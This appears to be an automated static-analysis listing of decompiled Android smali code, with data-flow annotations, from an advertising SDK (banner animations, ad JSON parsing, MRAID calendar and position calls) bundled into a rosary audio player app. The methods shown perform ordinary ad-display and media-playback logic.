127invoke-direct/range {v0 .. v8}, Landroid/view/animation/TranslateAnimation;-><init>(IFIFIFIF)V
  • Data flow analysis:
    • p0: 2
    • p2: 2
    • p3: 0
    • p4: 2
    • p5: 0
    • p6: 2
    • p7: 0
128const-wide/16 v2, 0x384
130invoke-virtual {v0, v2, v3}, Landroid/view/animation/Animation;->setDuration(J)V
  • Data flow analysis:
    • p0: 900
    • p1: 2
131new-instance v1, Landroid/view/animation/AccelerateInterpolator;
133invoke-direct {v1}, Landroid/view/animation/AccelerateInterpolator;-><init>()V
135invoke-virtual {v0, v1}, Landroid/view/animation/Animation;->setInterpolator(Landroid/view/animation/Interpolator;)V
136goto/16 :goto_1e
137cond_ba:
138iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAnimation:Ljava/lang/String;
139if-eqz v1, :cond_1e
141iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAnimation:Ljava/lang/String;
143const-string v2, "top_down"
145invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: top_down
146move-result v1
147if-eqz v1, :cond_1e
148new-instance v0, Landroid/view/animation/TranslateAnimation;
149const/4 v1, 0x2
150const/4 v2, 0x0
151const/4 v3, 0x2
152const/4 v4, 0x0
153const/4 v5, 0x2
154const/high16 v6, -0x40800000 # -1.0f
155const/4 v7, 0x2
156const/4 v8, 0x0
158invoke-direct/range {v0 .. v8}, Landroid/view/animation/TranslateAnimation;-><init>(IFIFIFIF)V
  • Data flow analysis:
    • p0: 2
    • p1: 0
    • p2: 2
    • p3: 0
    • p4: 2
    • p6: 2
    • p7: 0
159const-wide/16 v2, 0x384
161invoke-virtual {v0, v2, v3}, Landroid/view/animation/Animation;->setDuration(J)V
  • Data flow analysis:
    • p0: 900
    • p1: 2
162new-instance v1, Landroid/view/animation/AccelerateInterpolator;
164invoke-direct {v1}, Landroid/view/animation/AccelerateInterpolator;-><init>()V
166invoke-virtual {v0, v1}, Landroid/view/animation/Animation;->setInterpolator(Landroid/view/animation/Interpolator;)V
167goto/16 :goto_1e
Cross References
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.i
  • org.json.JSONObject.<init>
  • org.json.JSONObject.isNull
  • java.lang.String.equals
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.w
  • java.lang.Exception.printStackTrace
  • org.json.JSONObject.getInt
  • org.json.JSONObject.getString
  • java.lang.String.equalsIgnoreCase
Strings
  • AirplaySDK
  • Rich Media Ad Json:
  • status
  • message
  • invalid
  • adtype
  • MFP
  • Invalid adtype:
  • Success
Position Instruction Meta Information
0.param p1, "result" # Ljava/lang/String;
1.prologue
3const-string v5, "AirplaySDK"
4new-instance v6, Ljava/lang/StringBuilder;
6invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
8const-string v7, "Rich Media Ad Json: "
10invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Rich Media Ad Json:
11move-result-object v6
13invoke-virtual {v6, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
14move-result-object v6
16invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
17move-result-object v6
19invoke-static {v5, v6}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
20if-nez p1, :cond_1b
21goto_1a: return-void
22try_start_1b: new-instance v2, Lorg/json/JSONObject;
24invoke-direct {v2, p1}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
26const-string v5, "status"
28invoke-virtual {v2, v5}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: status
29move-result v5
30if-eqz v5, :cond_64
31const/4 v4, 0x0
32goto_29:
33const-string v5, "message"
35invoke-virtual {v2, v5}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: message
36move-result v5
37if-eqz v5, :cond_6b
39const-string v3, "invalid"
40goto_33:
41const-string v5, "adtype"
43invoke-virtual {v2, v5}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: adtype
44move-result v5
45if-eqz v5, :cond_72
46const/4 v0, 0x0
47goto_3c: if-eqz v0, :cond_46
49const-string v5, "MFP"
51invoke-virtual {v0, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: MFP
52move-result v5
53if-nez v5, :cond_79
54cond_46:
55const-string v5, "AirplaySDK"
56new-instance v6, Ljava/lang/StringBuilder;
58invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
60const-string v7, "Invalid adtype: "
62invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Invalid adtype:
63move-result-object v6
65invoke-virtual {v6, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: 0
66move-result-object v6
68invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
69move-result-object v6
71invoke-static {v5, v6}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
72try_end_5e: goto/16 :goto_1a
73catch_5f: move-exception v1
75invoke-virtual {v1}, Ljava/lang/Exception;->printStackTrace()V
76goto/16 :goto_1a
77try_start_64:
78const-string v5, "status"
80invoke-virtual {v2, v5}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: status
81move-result v4
82goto/16 :goto_29
83cond_6b:
84const-string v5, "message"
86invoke-virtual {v2, v5}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: message
87move-result-object v3
88goto/16 :goto_33
89cond_72:
90const-string v5, "adtype"
92invoke-virtual {v2, v5}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: adtype
93move-result-object v0
94goto/16 :goto_3c
95cond_79: const/16 v5, 0xc8
96if-ne v4, v5, :cond_a1
98const-string v5, "Success"
100invoke-virtual {v3, v5}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: Success
101move-result v5
102if-eqz v5, :cond_a1
103sget-boolean v5, Lcom/vxjxu/jkhfn1870/AirPlay;->enableCaching:Z
104if-eqz v5, :cond_9a
106iget-object v5, p0, Lcom/vxjxu/jkhfn1870/AirPlay$5;->this$0:Lcom/vxjxu/jkhfn1870/AirPlay;
108invoke-static {v5}, Lcom/vxjxu/jkhfn1870/AirPlay;->access$100(Lcom/vxjxu/jkhfn1870/AirPlay;)Lcom/vxjxu/jkhfn1870/Caching;
109move-result-object v5
111sget-object v6, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->interstitial:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
113invoke-virtual {v5, v6, p1}, Lcom/vxjxu/jkhfn1870/Caching;->saveJson(Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;Ljava/lang/String;)Z
115sget-object v5, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->interstitial:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
117invoke-static {v5}, Lcom/vxjxu/jkhfn1870/SDKIntializer;->sendAdCached(Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;)V
118goto/16 :goto_1a
119cond_9a:
120iget-object v5, p0, Lcom/vxjxu/jkhfn1870/AirPlay$5;->this$0:Lcom/vxjxu/jkhfn1870/AirPlay;
122invoke-virtual {v5, v2}, Lcom/vxjxu/jkhfn1870/AirPlay;->parseRichMediaInterstitialJson(Lorg/json/JSONObject;)V
123goto/16 :goto_1a
124cond_a1:
125invoke-static {v4, v3}, Lcom/vxjxu/jkhfn1870/AirPlay;->validateStatusCode(ILjava/lang/String;)V
126try_end_a4: goto/16 :goto_1a
Cross References
APIs
  • com.vxjxu.jkhfn1870.MraidView.canFetchAd
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.String.equals
  • com.vxjxu.jkhfn1870.MraidView.triggerErrorEvent
  • android.util.Log.e
  • com.vxjxu.jkhfn1870.MraidView.getContext
  • android.content.Intent.<init>
  • android.content.Intent.setAction
  • android.content.Intent.addFlags
  • android.content.Intent.putExtra
  • com.vxjxu.jkhfn1870.MraidView.getContext
  • android.content.Context.startActivity
  • java.lang.Exception.printStackTrace
  • com.vxjxu.jkhfn1870.MraidView.sendEventData
  • com.vxjxu.jkhfn1870.MraidView.triggerErrorEvent
  • android.util.Log.e
Strings
  • SDK LOG: inside createCalendarEvent:
  • createCalendarEvent
  • Calender method called with empty json.
  • AirplayMraid
  • Error occured while creating calendar event.
  • newCalendarEvent
  • json
  • 89
  • Error occured in createCalenderEvent.
Position Instruction Meta Information
0.param p1, "jsonString" # Ljava/lang/String;
1.prologue
2const/4 v2, 0x0
4invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/MraidView;->canFetchAd(Z)V
  • Data flow analysis:
    • p0: 0
5new-instance v2, Ljava/lang/StringBuilder;
7invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
9const-string v3, "SDK LOG: inside createCalendarEvent: "
11invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: SDK LOG: inside createCalendarEvent:
12move-result-object v2
14invoke-virtual {v2, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
15move-result-object v2
17invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
18move-result-object v2
20invoke-static {v2}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V
22iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
23if-eqz v2, :cond_23
25iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
27invoke-interface {v2}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onAdClickListener()V
28cond_23: if-eqz p1, :cond_2d
29try_start_25:
30const-string v2, ""
32invoke-virtual {p1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
33move-result v2
34if-eqz v2, :cond_3c
35cond_2d:
36const-string v2, "createCalendarEvent"
38const-string v3, "Calender method called with empty json."
40invoke-virtual {p0, v2, v3}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: createCalendarEvent
    • p1: Calender method called with empty json.
42const-string v2, "AirplayMraid"
44const-string v3, "Error occured while creating calendar event."
46invoke-static {v2, v3}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
    • msg: Error occured while creating calendar event.
47goto_3b: return-void
48cond_3c: new-instance v1, Landroid/content/Intent;
50invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context;
51move-result-object v2
52const-class v3, Lcom/vxjxu/jkhfn1870/BrowserActivity;
54invoke-direct {v1, v2, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
56const-string v2, "newCalendarEvent"
58invoke-virtual {v1, v2}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: newCalendarEvent
59const/high16 v2, 0x10000000
61invoke-virtual {v1, v2}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • flags: 268435456
62const/high16 v2, 0x800000
64invoke-virtual {v1, v2}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • flags: 8388608
66const-string v2, "json"
68invoke-virtual {v1, v2, p1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: json
70invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context;
71move-result-object v2
73invoke-virtual {v2, v1}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
74try_end_62: goto/16 :goto_3b
75catch_63: move-exception v0
77invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
79const-string v2, "89"
81invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: 89
83const-string v2, "createCalendarEvent"
85const-string v3, "Error occured in createCalenderEvent."
87invoke-virtual {p0, v2, v3}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: createCalendarEvent
    • p1: Error occured in createCalenderEvent.
89const-string v2, "AirplayMraid"
91const-string v3, "Error occured in createCalenderEvent."
93invoke-static {v2, v3}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
    • msg: Error occured in createCalenderEvent.
94goto/16 :goto_3b
Cross References
APIs
  • com.vxjxu.jkhfn1870.MraidView.getWidth
  • com.vxjxu.jkhfn1870.MraidView.getContext
  • com.vxjxu.jkhfn1870.MraidView.getHeight
  • com.vxjxu.jkhfn1870.MraidView.getContext
  • com.vxjxu.jkhfn1870.MraidView.getLeft
  • com.vxjxu.jkhfn1870.MraidView.getX
  • com.vxjxu.jkhfn1870.MraidView.getTop
  • com.vxjxu.jkhfn1870.MraidView.getY
  • org.json.JSONObject.<init>
  • org.json.JSONObject.put
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • com.vxjxu.jkhfn1870.MraidView.injectJSCode
  • com.vxjxu.jkhfn1870.MraidView.triggerErrorEvent
  • java.lang.Exception.printStackTrace
Strings
  • x
  • y
  • width
  • height
  • mraid.setCurrentPosition(
  • );
  • setCurrentPosition
  • Error occured while setting current position.
Position Instruction Meta Information
0.prologue
1const/16 v8, 0xa
2try_start_2:
3invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getWidth()I
4move-result v6
5int-to-float v6, v6
7invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context;
8move-result-object v7
10invoke-static {v6, v7}, Lcom/vxjxu/jkhfn1870/Util;->convertPixelsToDp(FLandroid/content/Context;)F
11move-result v6
12float-to-int v3, v6
14invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getHeight()I
15move-result v6
16int-to-float v6, v6
18invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context;
19move-result-object v7
21invoke-static {v6, v7}, Lcom/vxjxu/jkhfn1870/Util;->convertPixelsToDp(FLandroid/content/Context;)F
22move-result v6
23float-to-int v1, v6
25invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getLeft()I
26move-result v4
27sget v6, Landroid/os/Build$VERSION;->SDK_INT:I
28if-le v6, v8, :cond_2b
30invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getX()F
31move-result v6
32float-to-int v4, v6
33cond_2b:
34invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getTop()I
35move-result v5
36sget v6, Landroid/os/Build$VERSION;->SDK_INT:I
37if-le v6, v8, :cond_38
39invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getY()F
40move-result v6
41float-to-int v5, v6
42cond_38: new-instance v2, Lorg/json/JSONObject;
44invoke-direct {v2}, Lorg/json/JSONObject;-><init>()V
46const-string v6, "x"
48invoke-virtual {v2, v6, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
  • Data flow analysis:
    • p0: x
50const-string v6, "y"
52invoke-virtual {v2, v6, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
  • Data flow analysis:
    • p0: y
54const-string v6, "width"
56invoke-virtual {v2, v6, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
  • Data flow analysis:
    • p0: width
58const-string v6, "height"
60invoke-virtual {v2, v6, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
  • Data flow analysis:
    • p0: height
61new-instance v6, Ljava/lang/StringBuilder;
63invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
65const-string v7, "mraid.setCurrentPosition("
67invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: mraid.setCurrentPosition(
68move-result-object v6
70invoke-virtual {v6, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
71move-result-object v6
73const-string v7, ");"
75invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: );
76move-result-object v6
78invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
79move-result-object v6
81invoke-virtual {p0, v6}, Lcom/vxjxu/jkhfn1870/MraidView;->injectJSCode(Ljava/lang/String;)V
82try_end_6d: return-void
83catch_6e: move-exception v0
85const-string v6, "setCurrentPosition"
87const-string v7, "Error occured while setting current position."
89invoke-virtual {p0, v6, v7}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: setCurrentPosition
    • p1: Error occured while setting current position.
91invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
92goto/16 :goto_6d
Cross References
APIs
  • com.vxjxu.jkhfn1870.MraidView.getWidth
  • com.vxjxu.jkhfn1870.MraidView.getContext
  • com.vxjxu.jkhfn1870.MraidView.getHeight
  • com.vxjxu.jkhfn1870.MraidView.getContext
  • com.vxjxu.jkhfn1870.MraidView.getLeft
  • com.vxjxu.jkhfn1870.MraidView.getX
  • com.vxjxu.jkhfn1870.MraidView.getTop
  • com.vxjxu.jkhfn1870.MraidView.getY
  • org.json.JSONObject.<init>
  • org.json.JSONObject.put
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • com.vxjxu.jkhfn1870.MraidView.injectJSCode
  • com.vxjxu.jkhfn1870.MraidView.triggerErrorEvent
  • java.lang.Exception.printStackTrace
Strings
  • x
  • y
  • width
  • height
  • mraid.setDefaultPosition(
  • );
  • setDefaultPosition
  • Error occured while setting default position.
Position Instruction Meta Information
0.prologue
1const/16 v8, 0xa
2try_start_2:
3invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getWidth()I
4move-result v6
5int-to-float v6, v6
7invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context;
8move-result-object v7
10invoke-static {v6, v7}, Lcom/vxjxu/jkhfn1870/Util;->convertPixelsToDp(FLandroid/content/Context;)F
11move-result v6
12float-to-int v3, v6
14invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getHeight()I
15move-result v6
16int-to-float v6, v6
18invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context;
19move-result-object v7
21invoke-static {v6, v7}, Lcom/vxjxu/jkhfn1870/Util;->convertPixelsToDp(FLandroid/content/Context;)F
22move-result v6
23float-to-int v1, v6
25invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getLeft()I
26move-result v4
27sget v6, Landroid/os/Build$VERSION;->SDK_INT:I
28if-le v6, v8, :cond_2b
30invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getX()F
31move-result v6
32float-to-int v4, v6
33cond_2b:
34invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getTop()I
35move-result v5
36sget v6, Landroid/os/Build$VERSION;->SDK_INT:I
37if-le v6, v8, :cond_38
39invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getY()F
40move-result v6
41float-to-int v5, v6
42cond_38: new-instance v2, Lorg/json/JSONObject;
44invoke-direct {v2}, Lorg/json/JSONObject;-><init>()V
46const-string v6, "x"
48invoke-virtual {v2, v6, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
  • Data flow analysis:
    • p0: x
50const-string v6, "y"
52invoke-virtual {v2, v6, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
  • Data flow analysis:
    • p0: y
54const-string v6, "width"
56invoke-virtual {v2, v6, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
  • Data flow analysis:
    • p0: width
58const-string v6, "height"
60invoke-virtual {v2, v6, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
  • Data flow analysis:
    • p0: height
61new-instance v6, Ljava/lang/StringBuilder;
63invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
65const-string v7, "mraid.setDefaultPosition("
67invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: mraid.setDefaultPosition(
68move-result-object v6
70invoke-virtual {v6, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
71move-result-object v6
73const-string v7, ");"
75invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: );
76move-result-object v6
78invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
79move-result-object v6
81invoke-virtual {p0, v6}, Lcom/vxjxu/jkhfn1870/MraidView;->injectJSCode(Ljava/lang/String;)V
82try_end_6d: return-void
83catch_6e: move-exception v0
85const-string v6, "setDefaultPosition"
87const-string v7, "Error occured while setting default position."
89invoke-virtual {p0, v6, v7}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: setDefaultPosition
    • p1: Error occured while setting default position.
91invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
92goto/16 :goto_6d
APIs
  • android.view.MenuItem.getItemId
  • android.app.Activity.onOptionsItemSelected
  • prsolutions.rosariofacileads.Player.getApplication
  • android.content.Intent.<init>
  • prsolutions.rosariofacileads.Player.startActivity
  • android.media.MediaPlayer.release
  • prsolutions.rosariofacileads.Player.SettaggioIniziale
  • prsolutions.rosariofacileads.Player.AggiungiPallino
  • java.lang.Integer.valueOf
  • prsolutions.rosariofacileads.Player.playAudio
  • android.media.MediaPlayer.release
  • prsolutions.rosariofacileads.Player.SettaggioIniziale
  • prsolutions.rosariofacileads.Player.AggiungiPallino
  • java.lang.Integer.valueOf
  • prsolutions.rosariofacileads.Player.playAudio
  • android.media.MediaPlayer.release
  • prsolutions.rosariofacileads.Player.SettaggioIniziale
  • prsolutions.rosariofacileads.Player.AggiungiPallino
  • java.lang.Integer.valueOf
  • prsolutions.rosariofacileads.Player.playAudio
  • android.media.MediaPlayer.release
  • prsolutions.rosariofacileads.Player.SettaggioIniziale
  • prsolutions.rosariofacileads.Player.AggiungiPallino
  • java.lang.Integer.valueOf
  • prsolutions.rosariofacileads.Player.playAudio
  • android.media.MediaPlayer.release
  • prsolutions.rosariofacileads.Player.SettaggioIniziale
  • prsolutions.rosariofacileads.Player.AggiungiPallino
  • java.lang.Integer.valueOf
  • prsolutions.rosariofacileads.Player.playAudio
  • android.media.MediaPlayer.release
  • prsolutions.rosariofacileads.Player.SettaggioIniziale
  • java.lang.Integer.valueOf
  • prsolutions.rosariofacileads.Player.playAudio
Position Instruction Meta Information
0.param p1, "item" # Landroid/view/MenuItem;
1.prologue
2const/4 v2, 0x1
3const/4 v4, 0x0
5invoke-interface {p1}, Landroid/view/MenuItem;->getItemId()I
6move-result v3
7packed-switch v3, :pswitch_data_108
8pswitch_9:
9invoke-super {p0, p1}, Landroid/app/Activity;->onOptionsItemSelected(Landroid/view/MenuItem;)Z
10move-result v2
11goto_d: return v2
12pswitch_e: new-instance v1, Landroid/content/Intent;
14invoke-virtual {p0}, Lprsolutions/rosariofacileads/Player;->getApplication()Landroid/app/Application;
15move-result-object v3
16const-class v4, Lprsolutions/rosariofacileads/Opzioni;
18invoke-direct {v1, v3, v4}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
20invoke-virtual {p0, v1}, Lprsolutions/rosariofacileads/Player;->startActivity(Landroid/content/Intent;)V
21goto/16 :goto_d
22pswitch_1d: const/4 v3, 0x7
23iput v3, p0, Lprsolutions/rosariofacileads/Player;->playingNow:I
24iput v4, p0, Lprsolutions/rosariofacileads/Player;->pallino:I
25iput v4, p0, Lprsolutions/rosariofacileads/Player;->pausa:I
27iget-object v3, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer;
29invoke-virtual {v3}, Landroid/media/MediaPlayer;->release()V
31invoke-virtual {p0}, Lprsolutions/rosariofacileads/Player;->SettaggioIniziale()V
32const/4 v0, 0x0
33goto_2d: const/4 v3, 0x4
34if-ge v0, v3, :cond_36
36invoke-direct {p0}, Lprsolutions/rosariofacileads/Player;->AggiungiPallino()V
37add-int/lit8 v0, v0, 0x1
38goto/16 :goto_2d
39cond_36:
40iget-object v3, p0, Lprsolutions/rosariofacileads/Player;->sequenza:[I
41iget v4, p0, Lprsolutions/rosariofacileads/Player;->playingNow:I
42aget v3, v3, v4
44invoke-static {v3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
45move-result-object v3
47invoke-direct {p0, v3}, Lprsolutions/rosariofacileads/Player;->playAudio(Ljava/lang/Integer;)V
48goto/16 :goto_d
49pswitch_44: const/16 v3, 0x15
50iput v3, p0, Lprsolutions/rosariofacileads/Player;->playingNow:I
51iput v4, p0, Lprsolutions/rosariofacileads/Player;->pallino:I
52iput v4, p0, Lprsolutions/rosariofacileads/Player;->pausa:I
54iget-object v3, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer;
56invoke-virtual {v3}, Landroid/media/MediaPlayer;->release()V
58invoke-virtual {p0}, Lprsolutions/rosariofacileads/Player;->SettaggioIniziale()V
59const/4 v0, 0x0
60goto_55: const/16 v3, 0xf
61if-ge v0, v3, :cond_5f
63invoke-direct {p0}, Lprsolutions/rosariofacileads/Player;->AggiungiPallino()V
64add-int/lit8 v0, v0, 0x1
65goto/16 :goto_55
66cond_5f:
67iget-object v3, p0, Lprsolutions/rosariofacileads/Player;->sequenza:[I
68iget v4, p0, Lprsolutions/rosariofacileads/Player;->playingNow:I
69aget v3, v3, v4
71invoke-static {v3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
72move-result-object v3
74invoke-direct {p0, v3}, Lprsolutions/rosariofacileads/Player;->playAudio(Ljava/lang/Integer;)V
75goto/16 :goto_d
76pswitch_6d: const/16 v3, 0x23
77iput v3, p0, Lprsolutions/rosariofacileads/Player;->playingNow:I
78iput v4, p0, Lprsolutions/rosariofacileads/Player;->pallino:I
79iput v4, p0, Lprsolutions/rosariofacileads/Player;->pausa:I
81iget-object v3, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer;
83invoke-virtual {v3}, Landroid/media/MediaPlayer;->release()V
85invoke-virtual {p0}, Lprsolutions/rosariofacileads/Player;->SettaggioIniziale()V
86const/4 v0, 0x0
87goto_7e: const/16 v3, 0x1a
88if-ge v0, v3, :cond_88
90invoke-direct {p0}, Lprsolutions/rosariofacileads/Player;->AggiungiPallino()V
91add-int/lit8 v0, v0, 0x1
92goto/16 :goto_7e
93cond_88:
94iget-object v3, p0, Lprsolutions/rosariofacileads/Player;->sequenza:[I
95iget v4, p0, Lprsolutions/rosariofacileads/Player;->playingNow:I
96aget v3, v3, v4
98invoke-static {v3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
99move-result-object v3
101invoke-direct {p0, v3}, Lprsolutions/rosariofacileads/Player;->playAudio(Ljava/lang/Integer;)V
102goto/16 :goto_d
103pswitch_97: const/16 v3, 0x31
104iput v3, p0, Lprsolutions/rosariofacileads/Player;->playingNow:I
105iput v4, p0, Lprsolutions/rosariofacileads/Player;->pallino:I
106iput v4, p0, Lprsolutions/rosariofacileads/Player;->pausa:I
108iget-object v3, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer;
110invoke-virtual {v3}, Landroid/media/MediaPlayer;->release()V
112invoke-virtual {p0}, Lprsolutions/rosariofacileads/Player;->SettaggioIniziale()V
113const/4 v0, 0x0
114goto_a8: const/16 v3, 0x25
115if-ge v0, v3, :cond_b2
117invoke-direct {p0}, Lprsolutions/rosariofacileads/Player;->AggiungiPallino()V
118add-int/lit8 v0, v0, 0x1
119goto/16 :goto_a8
